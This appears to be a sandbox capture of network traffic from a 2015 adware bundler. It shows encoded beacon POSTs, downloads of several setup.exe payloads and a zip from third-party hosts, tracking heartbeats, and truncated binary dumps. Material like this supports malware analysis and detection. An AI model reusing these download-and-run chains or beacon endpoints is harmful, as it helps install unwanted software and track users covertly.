POST /if?alpha=aytSGjtMcVA9AFslfTA0am8BFztrd14yNl4YRgt+OXcYXX5+WjEzECs6G20qdysOCRIpJGgVe3csBlgtbGAvGFMFKRICODlhHVxjVnpLN2RpNhEacT55ChdNGk0iKSYfZ3x9OkhKVh1cH3Q/GG9BIFJPMm9VOW1wdStyMjs7LSN5FVB1TH9jYzM/RjJLSGMtfXpvQhYhcC0RIDYfRVFdOW14EA08IFdSblFsalhIP2FPFRBKMgh0WCUob1ZQeTsoXFgSYyQRBiM6aU0dbhc1JXI8KzZCHDIiUlg1NngmRgdkKTNOWTNZDgw4Ci4qUgxsMyAFFgN9An9eLDUgfh9+LCFtRRtBOXdfY24oA1x+EDtENmZ/YhcIPiJwVjorY1VAHnIvOVdTYC5dQmpLaHdJGmo2LRQaBS0Eb01pN3xQHT1kbi8ETRN2U1psZCBJajBAd303YTkvMRU+OXtTdlhZFBQNZHRsUEozOkEMbhVkIFhNLDo0V1NGa18qRSh6LQNMKG50KxxHBygaBjwwcEAJOlMmQgl+eHUBV3cbU0A3eUhVNgFlKT9fUC5dRzEfNhB5OkUpbC0jGgEyDml+eVJ9OWEY HTTP/1.1


Content-Type: application/x-www-form-urlencoded
Filename: ilg
User-Agent: NSIS_Inetc (Mozilla)
Host: install.sourceapp.info
Content-Length: 31527
Connection: Keep-Alive
Cache-Control: no-cache

alpha=WEAhHntPGBlSZ3ceLjMNTw5iGDdDVSIzJ217QyUhdkp3Mg==|,|WEAhHnsPPkAeVyh0Lg4afiheLTdDVQdoF0ttdh4kMkApVRJ8fGEcRB5TUWR1Vwd4J2MNaw9wWhsDMhE4LFUdXn4wGQUdPw==|,|WEAhHnt B1owQlcRMwUEekwqX1REKREhLmxtTw0zA30MSD55bWU5eSZdbkl2aDJxFkcoVkQ7RDEm|,|WEAhHntAAykVOy1DIDUgTjNUNlNeSGRDJXM9VGky|,|WEAhHntMNlJ6OzxwLi46Xg17EzctEDchInFwMysiB0VtBW58SiZgZysDTwVYdVJSVgMpPzkBSEBDBl9oXWBZFghDS2EEDH1JQzZrVi9y|,|WEAhHnsdN0xJYygdLjMaQwByEWNeEzY9Jj59fAE6D08pGCJUYnR4GEoDEn5eDyIlXQ==|,|WEAhHntWViEBfgQ2Li46Xg17E0QRADYxLj54YQM6TkIiVSNcYnV4SQNcaAgnFBV5CwYdZyg QjtEMSY=|,|WEAhHnsFdwg6FlYzLi46Xg17E0QRADYxLj4jMx86HhA4WS9yT1cHTyE=|,|WEAhHntyTH8CW0spNCsgWipRX3EMGilyKHFzfg05CgEhUSBYLCx4En5eDwdPbw==|,|WEAhHntyTH8CWk4pNCsgWit
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Thu, 12 Feb 2015 05:32:58 GMT
Content-Length: 41
{"status":"OK","url":null,"message":null}..



GET /install.ashx?e=LCnUzM5l8JJPNjxRBLtb43WV/K5S1jMMHBKWDIV8zAkBs1cIYKb7ZGdRFBwnwwdKn9lhu9AC b75vTB/nfdzLzS1V5B6ruZrO2Em6vejOf HMa5E8LXYXSj4RBWOV2QSTzF53EHpwgtyRdUuNvgXmiJjxUWJId3o/Qw8XQfCF9/yDm Tv6gBM4QKV7JoYf3gQcOav1fvIInFToJxGXpok7Mp5a5JKLY87W51EkWHuTE0Kgz3DgrMV4I7vi/2haichogHqsVrPIC9mPgtLiusepFPUHuy8/GWQcOav1fvIInFToJxGXpok7Mp5a5JKLY8XOE7K YpdD4dbvlBlCBXIIXRdvEjd6Yh8vms14atiO9Dyp9UMyAFutCtLI2jnxFtO2YKgZHX2edYluIlhKckqejXQuHaKGTBrNY0MH32 Vpli0vhDt6hccxbZzrrWlFPkDtNnW3aPgXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW ax5eone962kAkrTdwl7B9c91qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEK3NE8U9vFRP HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dfb5uyoqjsg4c.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 2024
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:42 GMT
X-Cache: Miss from cloudfront
Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 87iyl98thBwRI9lXEnDIw2hXvDkjZu_JSH8pwHW7OKLss2v1Mcoyvw==
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O..}WYe.......OD....../5.Q..a....=Y?r.|C...e.....,]J.)..F..V........R.
.Q>....KR.....>....n'......J...(1!....!f8.Fd...T&.U\1`.p.K.K....
...0...(......C~.....W0..(O..9.._."...~c.yzO...;....Aa....d...c....mu.
.y..1 6|....I.Y?r.|C...e.....,]J.)..F..V........t....9Aa....d..cT:....
W.{.."......|........|....&.<..)K.2...._2.S.....?.F.....rlD..i0u...
x..u.a..W.%!...n`2x7..5..#....$.....r...^."......XQ.%I........-s...F. 
;.e..` ....{...^...S].'.r.c.........Bv...?..^.$.o...{[email protected].....)
.IC..`.....(.....xl..l.&J-.RL......\P..-y..F..u@_X.9..M...1..8..n....3
."V....F).."F,N......o.&N.(>h....)H'......J...(1!....!f8.Fd4..>.
........E...)U.....}..<........R.L.&....Y..%X...k|..t5.........]._.
..q(.....u.;..8n..o$......3.{p.M..~P...v.n.l.7.J.._...?R.......[...j.'
y...c....mi..c~,5..B..k....rH.:.X..v.....x.p.x.c.Usf....A.l.A..t.uJ...
[email protected].].......1B ...x...tk.F.6o.G..5j.)..l......Sd B.E(W.zKo.....5
..#...3.U..p....I.B......Z.%.]...p.......K.BC:T...,ib].X.$..F..



GET /download.php?msorder=5&smsorder=0&campaign=14782&tracker=2202 HTTP/1.1
Range: bytes=374516-749032
User-Agent: Better Installer(Mozilla)
Host: app.easy-burner.com
Cache-Control: no-cache
Cookie: softdown=1423719126364044; install_cookie=14782,,


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:06 GMT
Content-Type: octet-stream
Connection: keep-alive
Set-Cookie: install_cookie=14782,,; expires=Sat, 14-Mar-2015 05:32:06 GMT; path=/; domain=easy-burner.com
Content-Disposition: filename=easyburner-setup.exe
Content-Length: 1498064
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......o..< .ro 
.ro .ro"..o .ro"..o1.ro"..o..ro...o(.ro5..o(.ro...o>.ro .so..ro"..o
V.ro5..o*.ro"..o*.roRich .ro................PE..L...6..L..............
.......(......@\............@.................................].......
......................................................................
[email protected].......@.......
.............text...,........................... ..`.rdata............
..................@[email protected]...,[email protected]...
.............>..............@..@...................................
......................................................................
......................................................................
......................................................................
......................................................................
.....................................................U...E.].........U
..]............U.....E.....E..M.....M..}..v..U......M.;.u..E.....3.]..
.........U.....E.....E..M.....M..U.....U..}..v .E.....U....;.t..M.....
E....3.;.....D......3.]............U...E...P.M.Q.U...R.E.P........]...
.............U...E...P.M.Q.U...R.E.P........]................U..Q.E..E
....M.....M..U.....U..}..v..E.f.M.f.....E...]..........U...E..M.f..f..
]................U...E.....U....3.;......].......U...E.P.M.Q.U.R......
..]........U...E.P........]................U...E.P.M.Q.U.R.E.P....
<<< skipped >>>


GET /smt2b/all/hat/row/setup.exe_d HTTP/1.1
Host: dl.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:37 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1423713607"
Last-Modified: Thu, 12 Feb 2015 04:00:07 GMT
Cache-Control: max-age=1628
Content-Length: 2622765
Content-Type: text/plain
X-HW: 1423719217.dop003.am4.t,1423719217.cds064.am4.c
0a.F2J...fCOcH ;.v^E...cZ....q.|.2...c.._........Z..........T.8.....;R
..!...W..f....9.sh..o.f..V.Kj}..A.m.9v..[............g.....h..,.m.5.A.
...n.ws.$.....1x...k./.h..W....G.....5.....M.:..J.q. ......YPL...Q....
.......Lo".}62...}.....5=MZ......c.k....`!........-r.^=..6..&}.-......
0...K........ZaX1}Dz.%e.l..;. ...`...^5.s.m.......,.....q]L..]w..T4sm.
.....b..[W.....:$..D.xg5..*.@[^...e...z..ab...7..*..2......l9{..#m.1.7
.,e:N.bq...>......n.M.=#.....QL'.b..oI..j.....`/..O.w... .$....T.V.
.5..*.....3.R..c.q>.<J...^Jo..R.h.D ?.e.......MU.b3.<}....i=.
)4..d.aA.i|.k...z.k...*.#fq.R...4 ...Z~......[&.s..3...<.z..1....Ge
1..jD..3..o/...a..W..cV$..I.......v.2.K.R......~f. .1.....m..<.G#.$
..mv8%&.H>.Mj..Y...c..........*.b^..L.ta..Q.....e....../b4.o....x.H
..'...mM.w.a.D..NDs.`H..E..B.zL....>.:Y.|.F_...!...6..e.d}......q..
..|..J...T. _..< ^...R{....H...Z..[;..t.Af..R..v:...... O\.?....fw.
...q....m...N.@Py..`./8...N..Kt.a.............i.. ._..y!.S....J.O.V...
.......{..=i...=...FY.=&z....]..pg.Y..L.....h.L..K.....`....o.t..'....
-..HN.Q.yO..~...#H........R..4vq1V.jf..0.=.Rt.......K.x_I.V......Z...k
*fhGv.....H. ...oT.Z.........c..._c......."..<.....~..L..Y..2...X..
.[<..,.....9......`.hT...Q...x.\A,.... .0B.].B84s.cl.....|.!Q.>q
..PpL!-K...w....Tc..%.c.(..8s.]........bb..zZ..\.....{1...9....W..(IV.
{.Z.A.2..:.\(...".......l.t.xX1k..n[...A..0......[[email protected]..
..l.i...N...oqo..Q..<.Kt....8...t(.A1......bo.5....-o....!!...T-...
....#&.V;#.0..#.G.B2.n..[..m.......tfd...S. ...;..b3.v>.fq..(v.
<<< skipped >>>


GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1714 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 12 Feb 2015 05:33:35 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
3d..{"stats":"error","time":"0.06 ms","message":"uid is not set"}..0..
....


GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 12 Feb 2015 05:33:35 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
3d..{"stats":"error","time":"0.05 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Thu, 12 Feb 2015 05:33:35 
GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunke
d..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4
..3d..{"stats":"error","time":"0.05 ms","message":"uid is not set"}..0
..



GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321632
Connection: keep-alive
Date: Sun, 08 Feb 2015 05:31:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-321631/321632
Age: 92
X-Cache: Hit from cloudfront
Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)
X-Amz-Cf-Id: UWJL51KVdtPLKcwwH2XeMx643fLc12Xuqpxb7-0HZ_a5HcKHczX2yQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.
<<< skipped >>>


GET /ajax/libs/jqueryui/1.10.3/jquery-ui.min.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: ajax.googleapis.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Type: text/javascript; charset=UTF-8
Last-Modified: Tue, 07 May 2013 09:09:49 GMT
Date: Fri, 23 Jan 2015 09:49:04 GMT
Expires: Sat, 23 Jan 2016 09:49:04 GMT
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 60666
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 1712690
Alternate-Protocol: 80:quic,p=0.02
............kw...0.}...$.0.)r&.&.!..x..Y..{.N....!["..`.p......K......
......{WwWWU......_..N4.N.......l2.N..............=9Yw.6;?.......,.[H.
.Znv .f'.1..FL...V..ru#:/....~.US...o6..z...7.-..Ho.F,.PF.....5....%Le
U.....j..v#:..7...._.........(.M}.......V.Y..Z.g0^n.m8.A......z5..u1.S
o....o.....P...m...:..........oCY.rh.]ST.u.....yI..-..ro....Y.....^{..
..z...Z?..7........C. .S.......{`L'E.:...hN.u.5%...i/N.*..j..../_.<
9....6....T$w....EZ&wo...J..H.\L*X.o.[.c..~'..E ..........E..y3. (....
....u^M*.......gg..Yt[l.t5..<....... 8.P8.E4.G."J......8;k."I..Y...
e..u{>..N..p8{>`..._!.|.....d~*.0.x.WY$..c....L.i..44....y.M..4.
.r.....-.....gg.....o.dR.V.(..._\..[.....JT8.n.l..[.m.Q....>D.!.lDu
........y..]9.W..V._._t.=r.g..;.8.NT..S...0H.1..OG..........._....=..2
.].....~..~....._.|.2..o.......7...7.e.>.?.^~..../.x.......O.......
.._...U....o...w.?{......T.~...._?.*...:........2S)....T........}.gH..
J....x..... ...w....k..........=K.{......~?M...?....>.i>{..z....
)........ ....z.k3.Df.uR..z........u....>)..t.Q,..2......Z..*oE....
.e..8I[.x..h..}p..I&&.v.....hnv.....!..SM..l...;.y...<.8.D$.8;;....
.r....} .y8h...#...$.......]'..c...?...c..^5........u...q.x..y...5l..M
..JF........>.4..x.d.....h.s.......Hb.. ...I`....|Y..{.%....qy.."Q.
M7..#.x.P......nb.Km..A...4.\....t..fU...Q...h.8R..h...#...7M.>`..2
..h..U...8.t..9-.o.o...N..*Q...j...1N.2uzHwU........'.3L..j....<b..
.NF..V..6..V...l....\...w2...w].W../.FW....t.e.".........K....b......(
zSI...R.. <..[[email protected])pj"...)y1a.....W..]...
<<< skipped >>>


GET /app/ping.ashx?e=aL/yzOcQGPkhwgnRr/y OIc6ASpc9dQ1 0R MP RL3VKgFoRkIu6RpNh8S9i4d0HDgHw5OsMYvJQPOcqt8/xvIY2d48H/jH53sGqR1dd1 D4mNFQxLV3WswWil2hCncxcKsCuGfywf4BLsMKbdkllwvx/3S9Wd1SIqeMDdWMzeLwlJBYqLHwBkeMx0ZcpgJMdsIfagc60JJZtfKtkl4IFmDRKCu1CB4wxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJcorsuf6FS25/vxCHDKDQXB82wDWK7EtoF1VbWmyBfgb4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9JEsQ0Xc6BWT9wKkxYqjT c= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:54 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:32:54 GMT..Content-Length: 0..



GET /ajax/libs/jquery/1.7.2/jquery.min.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: ajax.googleapis.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Type: text/javascript; charset=UTF-8
Last-Modified: Thu, 29 Mar 2012 18:19:50 GMT
Date: Tue, 03 Feb 2015 12:16:29 GMT
Expires: Wed, 03 Feb 2016 12:16:29 GMT
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 33673
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 753445
Alternate-Protocol: 80:quic,p=0.02
...............F.?..<E..).b..(.........v..i.......E.,^"Y*.E......m|
#2...,.g...n.q$....;..v.f.y.o>.}...W....=.z.jq.77.Mq9/.|....^..?.[.
.r..c.....,.....&..m.g.^...\f.{z8....\e..O.<..?..^.O....oe~....u...
;."...U.w.....t6.....xs.Di/Ye.T.M|....]......:_foW~..<.z.v.{Y.]..O^
0.z.|......*DO..j.{.=_{.Cz....-U.n.x..=.../. '.x.{.Jo{|..j....n..l7..4
/.....T.{.rZ.3........C.jU..<..p.......'.V....e.J........?.m....fG.
..{......P.....t..?.B.X....k..s.c.K..-.".pS.n..P.6...:.Y.T5.4\.W;...U.
.44....;..,e.=...^..S?]c.i.C..O.h......_.....GK5.M..8....4.4.E..Q.<
...m.{[.....O.....=.lI..8....n....2.?.{/.....?&....}_...v5.....w..}..G
..w4.....l.V.......i.mw..&4Yi.@[&..........i.>.S%..aA0..fQ.hK..pP..
....<_......(.]..\-.R..z0Ym."....rPt........o.g..zM..!.P...p...Mi.l
w.rYx..|4..V.......0F..|4....<....1..-..S/....|Nx...;........".w.3.
{..Q>Z.i....x.Ut...:Jx. .3..f..G@Z.:.y..g4\j.v..B..]>...c...[.. 
z......\...:\.%.p...AB{[email protected].{?..d.[..dC....h...!X.V.w.[Q..
...:.h9\.i...........1.Ae.yr.W.........M.]..k...y...c.y.J.P..O..G....i
AJZ.{[email protected].}0.........^......&..5.....`.F.Y....<.......
....@[email protected]..`......V....78M.X yM.b.x(u....Q..f.l...f....E....
3.#..l.l...`1Y.t.N...M...o..ZR!.D.<..}.JFJ.bF..A.z.....z3.a....x.D.
..S9.D....N.n..j1...)f...$..?.z.Q>.....Q.3.'.n..P....x..|..v.....&l
t;...F..~..M.eh)..Q6..x..]..O.......G(@..N.H.... .Ip../.pjz....h.....t
UD..V.h2..........].Y4.N5........7j.}...3. [email protected]..}n4Pz..5.....h&
gt;...$...X0....U..S...u;...BV.A._ F.P.........T.F.6..I..b.%*..:..
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 321632
Connection: keep-alive
Date: Sun, 08 Feb 2015 05:31:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Age: 92
X-Cache: Hit from cloudfront
Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: _h6zXbSWyKrZTqPdZ22diEMlsvYH6YhDMitFMLbyAp9g1GQ3l_Ad4w==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.
<<< skipped >>>


GET /infv3/index/2606/bnd/6.3.76.1518/7a9c839b08544f0d77986f6e82d16b3f HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.inipegcc.com
Connection: Keep-Alive


HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Thu, 12 Feb 2015 05:32:57 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.2.14p1
Location: hXXp://VVV.inipegcc.com/files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip
0......


GET /files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip HTTP/1.1


Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.inipegcc.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:57 GMT
Content-Type: application/zip
Content-Length: 2169759
Last-Modified: Thu, 12 Feb 2015 02:38:59 GMT
Connection: keep-alive
Accept-Ranges: bytes
PK..........KF.T.Q............422.json......^......w.........L@.\...q.
..%.v..Q..~DO.M.|.Wj.N.........'?.}...n..0..5.^1.........#..z.n...t..#
.1jq`....*.>#.............m..V.&.vc~.<.w.R.'xD....q..qQ|.H.P6...
.l..&3....g.t/.[<.C.........3......~...B|[email protected].}...P......^1.
.......AO...t...HT,t.v.4.)......]._.u-g..f..M....:.x~..........J.....W
]...~C..M...:]...{..-.e...8.i.2....aO...w...#i.^1......K........|~.k..
=.z.L.........Nr.s.....!*l..5.D(L.w.J.kh.b..S...~..-..Y../.ap......q..
j..%....a.M=E.k}.0....g.`.$SaH...u...I.*h.Y.0.3s~.......a.w...........
....s4FZbl4APK..........KF..".f....K......uninstallDlg2.xml.\m.....^..
.....z.f.N...mo..As..$([email protected].../...w(Q.d.k9.6^T..."....gH....o.....
.R.f.3.-DX.#..3 ...L,.J.".sFf..I-...?...g."..R....Sw.N]..x-sQ.@}=..Fd.
.X.8.!...Y..........|.o..1...Ox..li.....8.YRd.BT...3k..../....9^..T..s
b#....nir.....mT.....(.2.eRr.y.....1.r...d\~.. ~!I......v....x.t]H.$BW
0...L.......'^....8..<.0\.eQ.R....Iq..9..[\k. .O.:rs...7...tE..D..B
.(h..h.....GA...'..{M..m(x....2s...b.4.x..p....M..`.ukQ..;].....(u.Z.A
....L.r........~/P...........|.`l...5d}....w.#..1......vS.W.....`....b
@w.r.%sS.w......Q..#B.."B}..f...K...,c..d.1.....`ST2.M`.."...$.lC..p.P
)..Ce.b.LQ..0...h.aF...L. ps~.'FP.a.`R.2........!X............"B.....'
.I.@#..Y#....]. .....]...eM....#..Zp..`.....l"....<..Q....V.2.~....
......S..9...nf..(K!..Q......,.....P....BO{0Q.....N....".M.....(m]....
._.WW.."...B.h...Bn.Pa."V...%....wwQ...g,j0'...w..].....\..Z........n.
1..k...Q...qI.jD1..q..r.h5._..\_)..RQ....RC.7.'..:../.~R.....y.jI&
<<< skipped >>>


GET /res/helper.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: application/x-javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=31536000
Expires: Thu, 12 Feb 2015 06:03:41 GMT
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Encoding: gzip
600a...............v.G....>......H.....U..%yj....m.I..........dB.Y.
{..w..B......Y....}.Z.."j..!22.........b...^....]..u#M.o...po...L...{^
..o........m......Y>_w{........n'..~Y.../.......g..b.l|.g..e..f..W{
....|@......Xu.u...7...m..u.o.q3....<.4..(....t...*)..q...>5...-
.z.a..G.q.O..#..w..F..H.........K.u.O:'.....A../..z...N#[.....cJ.6...f
...%.{.~|......|/{....h.....Z.,N^......h._S2~...u....{G.l:..$k...w.S..
Wt..*...e.{.uc.^N......s.....Z....:_6{I.HN{.m....w.Q....?.(.......RB..
.....4;.]...O.<<88.h9/q>.P..(.k.,.Ho.E<..<.....,[.{.km6
g.UP3;...E..............Q6.<..e..d........2.-~.k......y..Sh.."....8
.?i%...S.."..*..k.j.6...2..oW.l....|.SVum....Ze..t\.m.....`B.....a.1..
..\[email protected]...]L.{Z.}....t.....A....m.t=..y..^.8|...:Z/
.^...O.U.4..S.(_...G{7..9h%w..i[/.....zyc}....f.U.=..V.S....U..o7.....
.....2..l...z...f..........w.S..x.....O}....%./.l<.B.{F.Z......'".O
........s..Ma}..7..............Db..;$RA.T.......u..41O..H....A..qen.I:
...`]...Kn...EG...F.2.....K....FW....._.........H..7.f.6...zq..[...L..
vg.JT)..C...:.>......5......D.# ....zB.A...1...V3..S...Q...Q.<OU
&a...=-..(z.O[I9x.....g..0...H.;...m...9N..,A>....[.....]9.".q.Q|.&
lt;..f.:.Lzuj..fj*......5.........9`..AG.|...BW...V...6.9kD.7....\....
.ax?.$C.4.k.../.Uhe..z.;Z]O'.fc..<.....V.i~xx....Q{...Y~q.N../!...K
i....&......I.}.ZmM..4...r`.&..D...3_9..h?.....R.A)....U.l......f....r
~.<.-..T.....2.%..R..S..y!.=_...4Z.>.Q.r.......e6R=.......h.i..V
...1..m.v .....;.G8..cp0,E#.....o_f.o.....^w......F.S...&_.}.$....
<<< skipped >>>

GET /res/beat/204/xdmframe.htm?xdm_e=http://VVV.youtubeaccelerator.com&xdm_c=default5755&xdm_p=1 HTTP/1.1


Accept: text/html, application/xhtml xml, */*
